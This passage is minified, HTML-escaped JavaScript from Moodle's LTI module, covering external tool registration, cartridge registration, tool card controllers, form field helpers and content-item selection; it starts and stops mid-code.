actions=$(e.target).closest(Selectors.post.actionsContainer).find(Selectors.post.action),lastAction=actions.last();actions.attr(&quot;tabindex&quot;,&quot;-1&quot;),lastAction.attr(&quot;tabindex&quot;,0),lastAction.focus(),e.stopPropagation(),data.originalEvent.preventDefault()})),PubSub.subscribe(ForumEvents.SUBSCRIPTION_TOGGLED,(function(data){var updateMessage=data.subscriptionState?&quot;discussionsubscribed&quot;:&quot;discussionunsubscribed&quot;;String.get_string(updateMessage,&quot;forum&quot;).then((function(s){return Notification.addNotification({message:s,type:&quot;info&quot;})})).catch(Notification.exception)}))};return{init:function(root){initAccessibilityKeyboardNav(root)}}}));
/**
 * Encapsules the behavior for creating a tool type and tool proxy from a
 * registration url in Moodle.
 *
 * Manages the UI while operations are occuring, including rendering external
 * registration page within the iframe.
 *
 * See template: mod_lti/external_registration
 *
 * @module     mod_lti/external_registration
 * @copyright  2015 Ryan Wyllie &lt;ryan@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 * @since      3.1
 */
define(&quot;mod_lti/external_registration&quot;,[&quot;jquery&quot;,&quot;core/ajax&quot;,&quot;core/notification&quot;,&quot;core/templates&quot;,&quot;mod_lti/events&quot;,&quot;mod_lti/tool_proxy&quot;,&quot;mod_lti/tool_type&quot;,&quot;mod_lti/keys&quot;,&quot;core/str&quot;],(function($,ajax,notification,templates,ltiEvents,toolProxy,toolType,KEYS,str){var SELECTORS_EXTERNAL_REGISTRATION_CONTAINER=&quot;#external-registration-page-container&quot;,SELECTORS_EXTERNAL_REGISTRATION_TEMPLATE_CONTAINER=&quot;#external-registration-template-container&quot;,SELECTORS_EXTERNAL_REGISTRATION_CANCEL_BUTTON=&quot;#cancel-external-registration&quot;,SELECTORS_TOOL_TYPE_CAPABILITIES_CONTAINER=&quot;#tool-type-capabilities-container&quot;,SELECTORS_TOOL_TYPE_CAPABILITIES_TEMPLATE_CONTAINER=&quot;#tool-type-capabilities-template-container&quot;,SELECTORS_CAPABILITIES_AGREE_CONTAINER=&quot;.capabilities-container&quot;,getExternalRegistrationCancelButton=function(){return $(SELECTORS_EXTERNAL_REGISTRATION_CANCEL_BUTTON)},getExternalRegistrationContainer=function(){return $(SELECTORS_EXTERNAL_REGISTRATION_CONTAINER)},getExternalRegistrationTemplateContainer=function(){return $(SELECTORS_EXTERNAL_REGISTRATION_TEMPLATE_CONTAINER)},getToolTypeCapabilitiesContainer=function(){return $(SELECTORS_TOOL_TYPE_CAPABILITIES_CONTAINER)},stopLoadingCancel=function(){getExternalRegistrationCancelButton().removeClass(&quot;loading&quot;)},hideExternalRegistrationContent=function(){getExternalRegistrationContainer().addClass(&quot;hidden&quot;)},getToolProxyId=function(){return getExternalRegistrationCancelButton().attr(&quot;data-tool-proxy-id&quot;)},hasToolProxyId=function(){return!!getToolProxyId()},hasCreatedToolProxy=function(){return getExternalRegistrationCancelButton().attr(&quot;data-tool-proxy-new&quot;)&amp;&amp;hasToolProxyId()},cancelRegistration=function(){getExternalRegistrationCancelButton().addClass(&quot;loading&quot;);var promise=$.Deferred();if(hasCreatedToolProxy()){var id=getToolProxyId();toolProxy.delete(id).done((function(){promise.resolve()})).fail((function(failure){promise.reject(failure)}))}else promise.resolve();return promise.done((function(){finishExternalRegistration(),stopLoadingCancel()})).fail((function(failure){notification.exception(failure),finishExternalRegistration(),stopLoadingCancel(),str.get_string(&quot;failedtodeletetoolproxy&quot;,&quot;mod_lti&quot;).done((function(s){var feedback={message:s,error:!0};$(document).trigger(ltiEvents.REGISTRATION_FEEDBACK,feedback)})).fail(notification.exception)})),promise},renderExternalRegistrationWindow=function(registrationRequest){var promise=templates.render(&quot;mod_lti/tool_proxy_registration_form&quot;,registrationRequest);return promise.done((function(html,js){var container=getExternalRegistrationTemplateContainer();container.append(html),templates.runTemplateJS(js),container.find(&quot;form&quot;).submit(),getExternalRegistrationContainer().removeClass(&quot;hidden&quot;)})).fail(notification.exception),promise},promptForToolTypeCapabilitiesAgreement=function(typeData){var promise=$.Deferred();return templates.render(&quot;mod_lti/tool_type_capabilities_agree&quot;,typeData).done((function(html,js){var container=$(SELECTORS_TOOL_TYPE_CAPABILITIES_TEMPLATE_CONTAINER);hideExternalRegistrationContent(),getToolTypeCapabilitiesContainer().removeClass(&quot;hidden&quot;),templates.replaceNodeContents(container,html,js);var choiceContainer=container.find(SELECTORS_CAPABILITIES_AGREE_CONTAINER);choiceContainer.on(ltiEvents.CAPABILITIES_AGREE,(function(){getToolTypeCapabilitiesContainer().addClass(&quot;loading&quot;),function(typeData){return toolType.update({id:typeData.id,state:toolType.constants.state.configured})}(typeData).always((function(){getToolTypeCapabilitiesContainer().removeClass(&quot;loading&quot;),container.empty(),promise.resolve()}))})),choiceContainer.on(ltiEvents.CAPABILITIES_DECLINE,(function(){container.empty(),promise.resolve()}))})).fail(promise.reject),promise.done((function(){getToolTypeCapabilitiesContainer().addClass(&quot;hidden&quot;)})).fail(notification.exception),promise},createAndRegisterToolProxy=function(url){var promise=$.Deferred();return url&amp;&amp;&quot;&quot;!==url?toolProxy.create({regurl:url}).done((function(result){getExternalRegistrationCancelButton().attr(&quot;data-tool-proxy-new&quot;,&quot;new&quot;),promise=registerProxy(result.id)})).fail((function(exception){cancelRegistration();var feedback={message:exception.message,error:!0};$(document).trigger(ltiEvents.REGISTRATION_FEEDBACK,feedback),promise.reject(exception)})):promise.resolve(),promise},registerProxy=function(id){var promise=$.Deferred();return function(id){getExternalRegistrationCancelButton().attr(&quot;data-tool-proxy-id&quot;,id)}(id),function(id){var request={methodname:&quot;mod_lti_get_tool_proxy_registration_request&quot;,args:{id:id}};return ajax.call([request])[0]}(id).done((function(registrationRequest){renderExternalRegistrationWindow(registrationRequest).done((function(){promise.resolve()})).fail(promise.fail)})).fail(promise.fail),promise},finishExternalRegistration=function(){hasToolProxyId()&amp;&amp;getExternalRegistrationCancelButton().removeAttr(&quot;data-tool-proxy-id&quot;),getExternalRegistrationCancelButton().removeAttr(&quot;data-tool-proxy-new&quot;),hideExternalRegistrationContent(),getExternalRegistrationTemplateContainer().empty(),$(document).trigger(ltiEvents.STOP_EXTERNAL_REGISTRATION)};return{init:function(){!function(){$(document).on(ltiEvents.START_EXTERNAL_REGISTRATION,(function(event,data){data&amp;&amp;(data.url&amp;&amp;createAndRegisterToolProxy(data.url),data.proxyid&amp;&amp;registerProxy(data.proxyid))}));var cancelExternalRegistrationButton=getExternalRegistrationCancelButton();cancelExternalRegistrationButton.click((function(e){e.preventDefault(),cancelRegistration()})),cancelExternalRegistrationButton.keypress((function(e){e.metaKey||e.shiftKey||e.altKey||e.ctrlKey||e.keyCode!=KEYS.ENTER&amp;&amp;e.keyCode!=KEYS.SPACE||(e.preventDefault(),cancelRegistration())})),window.triggerExternalRegistrationComplete=function(data){var promise=$.Deferred(),feedback={message:&quot;&quot;,error:!1};if(&quot;success&quot;==data.status){if(str.get_string(&quot;successfullycreatedtooltype&quot;,&quot;mod_lti&quot;).done((function(s){feedback.message=s})).fail(notification.exception),promise.done((function(){finishExternalRegistration(),$(document).trigger(ltiEvents.REGISTRATION_FEEDBACK,feedback),$(document).trigger(ltiEvents.NEW_TOOL_TYPE)})).fail(notification.exception),hasCreatedToolProxy()){var proxyId=getToolProxyId();toolType.getFromToolProxyId(proxyId).done((function(types){if(types&amp;&amp;types.length){var typeData=types[0];typeData.hascapabilitygroups?promptForToolTypeCapabilitiesAgreement(typeData).always((function(){promise.resolve()})):promise.resolve()}else promise.resolve()})).fail((function(){promise.resolve()}))}}else feedback.message=data.error,feedback.error=!0,promise.done((function(){cancelRegistration().always((function(){$(document).trigger(ltiEvents.REGISTRATION_FEEDBACK,feedback)}))})).fail(notification.exception),promise.resolve();return promise}}()}}}));
/**
 * Encapsules the behavior for creating a tool type from a cartridge URL
 * in Moodle. Manages the UI while operations are occuring.
 *
 * See template: mod_lti/cartridge_registration_form
 *
 * @module     mod_lti/cartridge_registration_form
 * @copyright  2015 Ryan Wyllie &lt;ryan@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 * @since      3.1
 */
define(&quot;mod_lti/cartridge_registration_form&quot;,[&quot;jquery&quot;,&quot;core/ajax&quot;,&quot;core/notification&quot;,&quot;mod_lti/tool_type&quot;,&quot;mod_lti/events&quot;,&quot;mod_lti/keys&quot;,&quot;core/str&quot;],(function($,ajax,notification,toolType,ltiEvents,KEYS,str){var SELECTORS_CONSUMER_KEY=&quot;#registration-key&quot;,SELECTORS_SHARED_SECRET=&quot;#registration-secret&quot;,SELECTORS_REGISTRATION_FORM=&quot;#cartridge-registration-form&quot;,SELECTORS_REGISTRATION_SUBMIT_BUTTON=&quot;#cartridge-registration-submit&quot;,SELECTORS_REGISTRATION_CANCEL_BUTTON=&quot;#cartridge-registration-cancel&quot;,getSubmitButton=function(){return $(SELECTORS_REGISTRATION_SUBMIT_BUTTON)},submitCartridgeURL=function(){if(getSubmitButton().hasClass(&quot;loading&quot;))return!1;var url=$(SELECTORS_REGISTRATION_FORM).attr(&quot;data-cartridge-url&quot;);if(&quot;&quot;===url)return!1;getSubmitButton().addClass(&quot;loading&quot;);var consumerKey=$(SELECTORS_CONSUMER_KEY).val(),sharedSecret=$(SELECTORS_SHARED_SECRET).val(),promise=toolType.create({cartridgeurl:url,key:consumerKey,secret:sharedSecret});return promise.done((function(){str.get_string(&quot;successfullycreatedtooltype&quot;,&quot;mod_lti&quot;).done((function(s){$(document).trigger(ltiEvents.NEW_TOOL_TYPE),$(document).trigger(ltiEvents.STOP_CARTRIDGE_REGISTRATION),$(document).trigger(ltiEvents.REGISTRATION_FEEDBACK,{message:s})})).fail(notification.exception)})).fail((function(){str.get_string(&quot;failedtocreatetooltype&quot;,&quot;mod_lti&quot;).done((function(s){$(document).trigger(ltiEvents.NEW_TOOL_TYPE),$(document).trigger(ltiEvents.STOP_CARTRIDGE_REGISTRATION),$(document).trigger(ltiEvents.REGISTRATION_FEEDBACK,{message:s,error:!0})})).fail(notification.exception)})).always((function(){getSubmitButton().removeClass(&quot;loading&quot;)})),promise},registerEventListeners=function(){$(SELECTORS_REGISTRATION_FORM).submit((function(e){e.preventDefault(),submitCartridgeURL()}));var cancelButton=$(SELECTORS_REGISTRATION_CANCEL_BUTTON);cancelButton.click((function(e){e.preventDefault(),$(document).trigger(ltiEvents.STOP_CARTRIDGE_REGISTRATION)})),cancelButton.keypress((function(e){e.metaKey||e.shiftKey||e.altKey||e.ctrlKey||e.keyCode!=KEYS.ENTER&amp;&amp;e.keyCode!=KEYS.SPACE||(e.preventDefault(),cancelButton.click())}))};return{init:function(){registerEventListeners()}}}));
/**
 * Controls all of the behaviour and interaction with a tool type card. These are
 * listed on the LTI tool type management page.
 *
 * See template: mod_lti/tool_proxy_card
 *
 * @module     mod_lti/tool_proxy_card_controller
 * @copyright  2016 John Okely &lt;john@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 * @since      3.1
 */
define(&quot;mod_lti/tool_proxy_card_controller&quot;,[&quot;jquery&quot;,&quot;core/ajax&quot;,&quot;core/notification&quot;,&quot;core/templates&quot;,&quot;mod_lti/tool_proxy&quot;,&quot;mod_lti/events&quot;,&quot;mod_lti/keys&quot;,&quot;core/str&quot;],(function($,ajax,notification,templates,toolProxy,ltiEvents,KEYS,str){var SELECTORS_DELETE_BUTTON=&quot;.delete&quot;,SELECTORS_ACTIVATE_BUTTON=&quot;.tool-card-footer a.activate&quot;,getTypeId=function(element){return element.attr(&quot;data-proxy-id&quot;)},clearAllAnnouncements=function(element){element.removeClass(&quot;announcement loading success fail capabilities&quot;)},stopLoading=function(element){element.removeClass(&quot;announcement loading&quot;)},deleteType=function(element){var promise=$.Deferred(),typeId=getTypeId(element);return function(element){clearAllAnnouncements(element),element.addClass(&quot;announcement loading&quot;)}(element),&quot;&quot;===typeId?$.Deferred().resolve():(str.get_strings([{key:&quot;delete&quot;,component:&quot;mod_lti&quot;},{key:&quot;delete_confirmation&quot;,component:&quot;mod_lti&quot;},{key:&quot;delete&quot;,component:&quot;mod_lti&quot;},{key:&quot;cancel&quot;,component:&quot;core&quot;}]).done((function(strs){notification.confirm(strs[0],strs[1],strs[2],strs[3],(function(){toolProxy.delete(typeId).done((function(){stopLoading(element),function(element){var promise=$.Deferred();return clearAllAnnouncements(element),element.addClass(&quot;announcement success&quot;),setTimeout((function(){element.removeClass(&quot;announcement success&quot;),promise.resolve()}),2e3),promise}(element).done((function(){element.remove(),promise.resolve()})).fail(notification.exception)})).fail((function(error){!function(element){var promise=$.Deferred();clearAllAnnouncements(element),element.addClass(&quot;announcement fail&quot;),setTimeout((function(){element.removeClass(&quot;announcement fail&quot;),promise.resolve()}),2e3)}(element),promise.reject(error)}))}),(function(){stopLoading(element),promise.resolve()}))})).fail((function(error){stopLoading(element),notification.exception(error),promise.reject(error)})),promise)},registerEventListeners=function(element){var deleteButton=function(element){return element.find(SELECTORS_DELETE_BUTTON)}(element);deleteButton.click((function(e){e.preventDefault(),deleteType(element)})),deleteButton.keypress((function(e){e.metaKey||e.shiftKey||e.altKey||e.ctrlKey||e.keyCode!=KEYS.ENTER&amp;&amp;e.keyCode!=KEYS.SPACE||(e.preventDefault(),deleteButton.click())}));var activateButton=function(element){return element.find(SELECTORS_ACTIVATE_BUTTON)}(element);activateButton.click((function(e){e.preventDefault(),function(element){var data={proxyid:getTypeId(element)};$(document).trigger(ltiEvents.START_EXTERNAL_REGISTRATION,data)}(element)})),activateButton.keypress((function(e){e.metaKey||e.shiftKey||e.altKey||e.ctrlKey||e.keyCode!=KEYS.ENTER&amp;&amp;e.keyCode!=KEYS.SPACE||(e.preventDefault(),activateButton.click())}))};return{init:function(element){registerEventListeners(element)}}}));
/**
 * A module that enables the setting of form field values on the client side.
 *
 * @module     mod_lti/form-field
 * @copyright  2016 Jun Pataleta &lt;jun@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 * @since      3.2
 */
define(&quot;mod_lti/form-field&quot;,[&quot;jquery&quot;],(function($){var FormField=function(name,type,resetIfUndefined,defaultValue){this.name=name,this.id=&quot;id_&quot;+this.name,this.selector=&quot;#&quot;+this.id,this.type=type,this.resetIfUndefined=resetIfUndefined,this.defaultValue=defaultValue};return FormField.TYPES={TEXT:1,SELECT:2,CHECKBOX:3,EDITOR:4},FormField.prototype.setFieldValue=function(value){if(null===value){if(!this.resetIfUndefined)return;value=this.defaultValue}switch(this.type){case FormField.TYPES.CHECKBOX:value?$(this.selector).prop(&quot;checked&quot;,!0):$(this.selector).prop(&quot;checked&quot;,!1);break;case FormField.TYPES.EDITOR:if(void 0!==value.text){var attoEditor=$(this.selector+&quot;editable&quot;);attoEditor.length?attoEditor.html(value.text):&quot;undefined&quot;!=typeof tinyMCE&amp;&amp;tinyMCE.execInstanceCommand(this.id,&quot;mceInsertContent&quot;,!1,value.text),$(this.selector).val(value.text)}break;default:$(this.selector).val(value)}},FormField}));
/**
 * Provides an interface for a tool type in the Moodle server.
 *
 * @module     mod_lti/tool_type
 * @copyright  2015 Ryan Wyllie &lt;ryan@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 * @since      3.1
 */
define(&quot;mod_lti/tool_type&quot;,[&quot;core/ajax&quot;,&quot;core/notification&quot;],(function(ajax,notification){return{query:function(args){var request={methodname:&quot;mod_lti_get_tool_types&quot;,args:args||{}},promise=ajax.call([request])[0];return promise.fail(notification.exception),promise},create:function(args){var request={methodname:&quot;mod_lti_create_tool_type&quot;,args:args};return ajax.call([request])[0]},update:function(args){var request={methodname:&quot;mod_lti_update_tool_type&quot;,args:args},promise=ajax.call([request])[0];return promise.fail(notification.exception),promise},delete:function(id){var request={methodname:&quot;mod_lti_delete_tool_type&quot;,args:{id:id}},promise=ajax.call([request])[0];return promise.fail(notification.exception),promise},getFromToolProxyId:function(id){return this.query({toolproxyid:id})},isCartridge:function(url){var request={methodname:&quot;mod_lti_is_cartridge&quot;,args:{url:url}};return ajax.call([request])[0]},constants:{state:{configured:1,pending:2,rejected:3}}}}));
/**
 * Launches the modal dialogue that contains the iframe that sends the Content-Item selection request to an
 * LTI tool provider that supports Content-Item type message.
 *
 * See template: mod_lti/contentitem
 *
 * @module     mod_lti/contentitem
 * @copyright  2016 Jun Pataleta &lt;jun@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 * @since      3.2
 */
define(&quot;mod_lti/contentitem&quot;,[&quot;jquery&quot;,&quot;core/notification&quot;,&quot;core/str&quot;,&quot;core/templates&quot;,&quot;mod_lti/form-field&quot;,&quot;core/modal_factory&quot;,&quot;core/modal_events&quot;],(function($,notification,str,templates,FormField,ModalFactory,ModalEvents){var dialogue,doneCallback,contentItem={init:function(url,postData,cb){doneCallback=cb;var context={url:url,postData:postData},bodyPromise=templates.render(&quot;mod_lti/contentitem&quot;,context);if(dialogue)return dialogue.setBody(bodyPromise),void dialogue.show();str.get_string(&quot;selectcontent&quot;,&quot;lti&quot;).then((function(title){return ModalFactory.create({title:title,body:bodyPromise,large:!0})})).then((function(modal){dialogue=modal,modal.getRoot().on(ModalEvents.hidden,(function(){modal.setBody(&quot;&quot;),notification.fetchNotifications()})),modal.show()})).catch(notification.exception)}},ltiFormFields=[new FormField(&quot;name&quot;,FormField.TYPES.TEXT,!1,&quot;&quot;),new FormField(&quot;introeditor&quot;,FormField.TYPES.EDITOR,!1,&quot;&quot;),new FormField(&quot;toolurl&quot;,FormField.TYPES.TEXT,!0,&quot;&quot;),new FormField(&quot;securetoolurl&quot;,FormField.TYPES.TEXT,!0,&quot;&quot;),new FormField(&quot;instructorchoiceacceptgrades&quot;,FormField.TYPES.CHECKBOX,!0,!0),new FormField(&quot;instructorchoicesendname&quot;,FormField.TYPES.CHECKBOX,!0,!0),new FormField(&quot;instructorchoicesendemailaddr&quot;,FormField.TYPES.CHECKBOX,!0,!0),new FormField(&quot;instructorcustomparameters&quot;,FormField.TYPES.TEXT,!0,&quot;&quot;),new FormField(&quot;icon&quot;,FormField.TYPES.TEXT,!0,&quot;&quot;),new FormField(&quot;secureicon&quot;,FormField.TYPES.TEXT,!0,&quot;&quot;),new FormField(&quot;launchcontainer&quot;,FormField.TYPES.SELECT,!0,0),new FormField(&quot;grade_modgrade_point&quot;,FormField.TYPES.TEXT,!1,&quot;&quot;),new FormField(&quot;lineitemresourceid&quot;,FormField.TYPES.TEXT,!0,&quot;&quot;),new FormField(&quot;lineitemtag&quot;,FormField.TYPES.TEXT,!0,&quot;&quot;)];const hideElement=e=&gt;{e.setAttribute(&quot;hidden&quot;,&quot;true&quot;),e.setAttribute(&quot;aria-hidden&quot;,&quot;true&quot;),e.setAttribute(&quot;tab-index&quot;,&quot;-1&quot;)},showElement=e=&gt;{e.removeAttribute(&quot;hidden&quot;),e.setAttribute(&quot;aria-hidden&quot;,&quot;false&quot;),e.setAttribute(&quot;tab-index&quot;,&quot;1&quot;)};return window.processContentItemReturnData=function(returnData){var index;if(dialogue&amp;&amp;dialogue.hide(),returnData.multiple){for(index in ltiFormFields)ltiFormFields[index].setFieldValue(&quot;name&quot;===ltiFormFields[index].name?&quot;item&quot;:null);var variants=[];returnData.multiple.forEach((function(v){variants.push((config=&gt;{const variant={};return[&quot;name&quot;,&quot;toolurl&quot;,&quot;securetoolurl&quot;,&quot;instructorcustomparameters&quot;,&quot;icon&quot;,&quot;secureicon&quot;,&quot;launchcontainer&quot;,&quot;lineitemresourceid&quot;,&quot;lineitemtag&quot;].forEach((function(name){variant[name]=config[name]||&quot;&quot;})),variant[&quot;introeditor[text]&quot;]=config.introeditor?config.introeditor.text:&quot;&quot;,variant[&quot;introeditor[format]&quot;]=config.introeditor?config.introeditor.format:&quot;&quot;,1===config.instructorchoiceacceptgrades?(variant.instructorchoiceacceptgrades=&quot;1&quot;,variant[&quot;grade[modgrade_point]&quot;]=config.grade_modgrade_point||&quot;100&quot;):variant.instructorchoiceacceptgrades=&quot;0&quot;,variant})(v))})),async function(items){const form=document.querySelector(&quot;#region-main-box form&quot;),toolArea=form.querySelector(&#039;[data-attribute=&quot;dynamic-import&quot;]&#039;),buttonGroup=form.querySelector(&quot;#fgroup_id_buttonar&quot;),submitAndLaunch=form.querySelector(&quot;#id_submitbutton&quot;);Array.from(form.children).forEach(hideElement),hideElement(submitAndLaunch);const{html:html,js:js}=await templates.renderForPromise(&quot;mod_lti/tool_deeplinking_results&quot;,{items:items});await templates.replaceNodeContents(toolArea,html,js),showElement(toolArea),showElement(buttonGroup)}(returnData.multiple);const submitAndCourse=document.querySelector(&quot;#id_submitbutton2&quot;);submitAndCourse.onclick=e=&gt;{e.preventDefault(),submitAndCourse.disabled=!0;const fd=new FormData(document.querySelector(&quot;#region-main-box form&quot;)),backToCourse=()=&gt;{document.querySelector(&quot;#id_cancel&quot;).click()};variants.reduce(((promise,variant)=&gt;{Object.entries(variant).forEach((entry=&gt;fd.set(entry[0],entry[1])));const body=new URLSearchParams(fd),doPost=()=&gt;fetch(document.location.pathname,{method:&quot;post&quot;,body:body});return promise.then(doPost).catch(doPost)}),Promise.resolve()).then(backToCourse).catch(backToCourse)}}else{for(index in ltiFormFields){var field=ltiFormFields[index],value=null;void 0!==returnData[field.name]&amp;&amp;(value=returnData[field.name]),field.setFieldValue(value)}field.setFieldValue(value)}doneCallback&amp;&amp;doneCallback(returnData)},contentItem}));
/**
 * Handles the return params from the external registration page after it
 * redirects back to Moodle.
 *
 * See also: mod/lti/externalregistrationreturn.php
 *
 * @module     mod_lti/external_registration_return
 * @copyright  2015 Ryan Wyllie &lt;ryan@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 * @since      3.1
 */
define(&quot;mod_lti/external_registration_return&quot;,[],(function(){return{init:function(message,error,id,status){window.parent&amp;&amp;window.parent.triggerExternalRegistrationComplete({message:message,error:error,id:id,status:status})}}}));
/**
 * Controls all of the behaviour and interaction with a tool type card. These are
 * listed on the LTI tool type management page.
 *
 * See template: mod_lti/tool_card
 *
 * @module     mod_lti/tool_card_controller
 * @copyright  2015 Ryan Wyllie &lt;ryan@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 * @since      3.1
 */
define(&quot;mod_lti/tool_card_controller&quot;,[&quot;jquery&quot;,&quot;core/ajax&quot;,&quot;core/notification&quot;,&quot;core/templates&quot;,&quot;core/modal_factory&quot;,&quot;mod_lti/tool_type&quot;,&quot;mod_lti/events&quot;,&quot;mod_lti/keys&quot;,&quot;core/str&quot;],(function($,ajax,notification,templates,modalFactory,toolType,ltiEvents,KEYS,str){var SELECTORS_DELETE_BUTTON=&quot;.delete&quot;,SELECTORS_NAME_ELEMENT=&quot;.name&quot;,SELECTORS_DESCRIPTION_ELEMENT=&quot;.description&quot;,SELECTORS_CAPABILITIES_CONTAINER=&quot;.capabilities-container&quot;,SELECTORS_ACTIVATE_BUTTON=&quot;.tool-card-footer a.activate&quot;,getNameElement=function(element){return element.find(SELECTORS_NAME_ELEMENT)},getDescriptionElement=function(element){return element.find(SELECTORS_DESCRIPTION_ELEMENT)},getActivateButton=function(element){return element.find(SELECTORS_ACTIVATE_BUTTON)},getCapabilitiesContainer=function(element){return element.find(SELECTORS_CAPABILITIES_CONTAINER)},hasCapabilitiesContainer=function(element){return!!getCapabilitiesContainer(element).length},getTypeId=function(element){return element.attr(&quot;data-type-id&quot;)},clearAllAnnouncements=function(element){element.removeClass(&quot;announcement loading success fail capabilities&quot;)},startLoading=function(element){clearAllAnnouncements(element),element.addClass(&quot;announcement loading&quot;)},stopLoading=function(element){element.removeClass(&quot;announcement loading&quot;)},announceSuccess=function(element){var promise=$.Deferred();return clearAllAnnouncements(element),element.addClass(&quot;announcement success&quot;),setTimeout((function(){element.removeClass(&quot;announcement success&quot;),promise.resolve()}),2e3),promise},announceFailure=function(element){var promise=$.Deferred();return clearAllAnnouncements(element),element.addClass(&quot;announcement fail&quot;),setTimeout((function(){element.removeClass(&quot;announcement fail&quot;),promise.resolve()}),2e3),promise},setValueSnapshot=function(element,value){element.attr(&quot;data-val-snapshot&quot;,value)},getValueSnapshot=function(element){return element.attr(&quot;data-val-snapshot&quot;)},setStatusActive=function(element){var id=getTypeId(element);if(&quot;&quot;===id)return $.Deferred().resolve();startLoading(element);var promise=toolType.update({id:id,state:toolType.constants.state.configured});return promise.then((function(toolTypeData){return stopLoading(element),announceSuccess(element),toolTypeData})).then((function(toolTypeData){return templates.render(&quot;mod_lti/tool_card&quot;,toolTypeData)})).then((function(html,js){templates.replaceNode(element,html,js)})).catch((function(){stopLoading(element),announceFailure(element)})),promise},registerEventListeners=function(element){var deleteButton=function(element){return element.find(SELECTORS_DELETE_BUTTON)}(element);deleteButton.click((function(e){e.preventDefault(),function(element){var promise=$.Deferred(),typeId=getTypeId(element);startLoading(element),&quot;&quot;===typeId?$.Deferred().resolve():str.get_strings([{key:&quot;delete&quot;,component:&quot;mod_lti&quot;},{key:&quot;delete_confirmation&quot;,component:&quot;mod_lti&quot;},{key:&quot;delete&quot;,component:&quot;mod_lti&quot;},{key:&quot;cancel&quot;,component:&quot;core&quot;}]).done((function(strs){notification.confirm(strs[0],strs[1],strs[2],strs[3],(function(){toolType.delete(typeId).done((function(){stopLoading(element),announceSuccess(element).done((function(){element.remove()})).fail(notification.exception).always((function(){promise.resolve()}))})).fail((function(error){announceFailure(element),promise.reject(error)}))}),(function(){stopLoading(element),promise.resolve()}))})).fail((function(error){stopLoading(element),notification.exception(error),promise.reject(error)}))}(element)})),deleteButton.keypress((function(e){e.metaKey||e.shiftKey||e.altKey||e.ctrlKey||e.keyCode!=KEYS.ENTER&amp;&amp;e.keyCode!=KEYS.SPACE||(e.preventDefault(),deleteButton.click())}));var descriptionElement=getDescriptionElement(element);descriptionElement.focus((function(e){e.preventDefault(),function(element){var descriptionElement=getDescriptionElement(element);if(!descriptionElement.hasClass(&quot;loading&quot;)){var description=descriptionElement.text().trim();setValueSnapshot(descriptionElement,description)}}(element)})),descriptionElement.blur((function(e){e.preventDefault(),function(element){var typeId=getTypeId(element);if(&quot;&quot;===typeId)return $.Deferred().resolve();var descriptionElement=getDescriptionElement(element);if(descriptionElement.hasClass(&quot;loading&quot;))return $.Deferred().resolve();var description=descriptionElement.text().trim();if(getValueSnapshot(descriptionElement)==description)return $.Deferred().resolve();descriptionElement.addClass(&quot;loading&quot;);var promise=toolType.update({id:typeId,description:description});promise.done((function(type){descriptionElement.removeClass(&quot;loading&quot;),descriptionElement.text(type.description)})).fail(notification.exception),promise.fail((function(){descriptionElement.removeClass(&quot;loading&quot;)}))}(element)})),descriptionElement.keypress((function(e){e.metaKey||e.shiftKey||e.altKey||e.ctrlKey||e.keyCode==KEYS.ENTER&amp;&amp;(e.preventDefault(),descriptionElement.blur())}));var nameElement=getNameElement(element);if(nameElement.focus((function(e){e.preventDefault(),function(element){var nameElement=getNameElement(element);if(!nameElement.hasClass(&quot;loading&quot;)){var name=nameElement.text().trim();setValueSnapshot(nameElement,name)}}(element)})),nameElement.blur((function(e){e.preventDefault(),function(element){var typeId=getTypeId(element);if(&quot;&quot;===typeId)return $.Deferred().resolve();var nameElement=getNameElement(element);if(nameElement.hasClass(&quot;loading&quot;))return $.Deferred().resolve();var name=nameElement.text().trim();if(getValueSnapshot(nameElement)==name)return $.Deferred().resolve();nameElement.addClass(&quot;loading&quot;);var promise=toolType.update({id:typeId,name:name});promise.done((function(type){nameElement.removeClass(&quot;loading&quot;),nameElement.text(type.name)})),promise.fail((function(){nameElement.removeClass(&quot;loading&quot;)}))}(element)})),nameElement.keypress((function(e){e.metaKey||e.shiftKey||e.altKey||e.ctrlKey||e.keyCode==KEYS.ENTER&amp;&amp;(e.preventDefault(),nameElement.blur())})),function(element){return!!getActivateButton(element).length}(element)){var activateButton=getActivateButton(element);activateButton.click((function(e){e.preventDefault(),function(element){hasCapabilitiesContainer(element)?function(element){element.addClass(&quot;announcement capabilities&quot;)}(element):setStatusActive(element)}(element)})),activateButton.keypress((function(e){e.metaKey||e.shiftKey||e.altKey||e.ctrlKey||e.keyCode!=KEYS.ENTER&amp;&amp;e.keyCode!=KEYS.SPACE||(e.preventDefault(),activateButton.click())}))}if(hasCapabilitiesContainer(element)){var capabilitiesContainer=getCapabilitiesContainer(element);capabilitiesContainer.on(ltiEvents.CAPABILITIES_AGREE,(function(){setStatusActive(element)})),capabilitiesContainer.on(ltiEvents.CAPABILITIES_DECLINE,(function(){!function(element){element.removeClass(&quot;announcement capabilities&quot;)}(element)}))}};return{init:function(element){registerEventListeners(element),function(element){var trigger=$(&quot;#&quot;+element.data(&quot;uniqid&quot;)+&quot;-&quot;+element.data(&quot;deploymentid&quot;)),context={uniqid:element.data(&quot;uniqid&quot;),platformid:element.data(&quot;platformid&quot;),clientid:element.data(&quot;clientid&quot;),deploymentid:element.data(&quot;deploymentid&quot;),urls:{publickeyset:element.data(&quot;publickeyseturl&quot;),accesstoken:element.data(&quot;accesstokenurl&quot;),authrequest:element.data(&quot;authrequesturl&quot;)}},bodyPromise=templates.render(&quot;mod_lti/tool_config_modal_body&quot;,context);context={mailto:&quot;mailto:?subject=&quot;+encodeURIComponent(element.data(&quot;mailtosubject&quot;))+&quot;&amp;body=&quot;+encodeURIComponent(element.data(&quot;platformidstr&quot;))+&quot;:%20&quot;+encodeURIComponent(element.data(&quot;platformid&quot;))+&quot;%0D%0A&quot;+encodeURIComponent(element.data(&quot;clientidstr&quot;))+&quot;:%20&quot;+encodeURIComponent(element.data(&quot;clientid&quot;))+&quot;%0D%0A&quot;+encodeURIComponent(element.data(&quot;deploymentids